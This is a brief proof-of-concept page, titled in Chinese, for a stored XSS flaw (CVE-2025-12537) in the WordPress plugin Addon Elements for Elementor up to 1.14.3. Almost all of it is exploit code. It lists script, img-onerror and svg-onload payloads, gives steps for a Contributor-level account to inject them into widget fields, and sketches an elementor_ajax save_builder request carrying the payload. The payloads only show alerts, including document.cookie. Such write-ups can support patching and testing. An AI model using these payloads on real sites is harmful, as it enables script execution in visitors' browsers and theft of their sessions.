CVE-2025-12537 WordPress Addon Elements for Elementor插件存储型XSS漏洞

// CVE-2025-12537 PoC - Stored XSS in Addon Elements for Elementor // Author: [email protected] // PoC payload for XSS injection // This payload can be inserted into widget parameters (e.g., text fields, URLs) var xssPayload = '<script>alert(document.cookie)</script>'; var imgPayload = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'; var svgPayload = '<svg/onload=alert(document.domain)>'; // Example: Attacker with Contributor access modifies a page via Elementor // Steps: // 1. Login as Contributor or higher role // 2. Edit any page with Elementor // 3. Add any Addon Elements widget (e.g., Info Box, Button, etc.) // 4. Insert XSS payload in vulnerable parameter fields // 5. Save and publish the page // 6. Any user visiting the page will execute the injected script // Example API request structure (conceptual) const exploitData = { action: 'elementor_ajax', commands: ['save_builder'], data: { elements: [{ id: 'unique-widget-id', widgetType: 'addon_elements_info_box', settings: { title: xssPayload, // Vulnerable field // other settings... } }] } }; console.log('XSS Payload:', xssPayload); console.log('Target: Addon Elements for Elementor <= 1.14.3');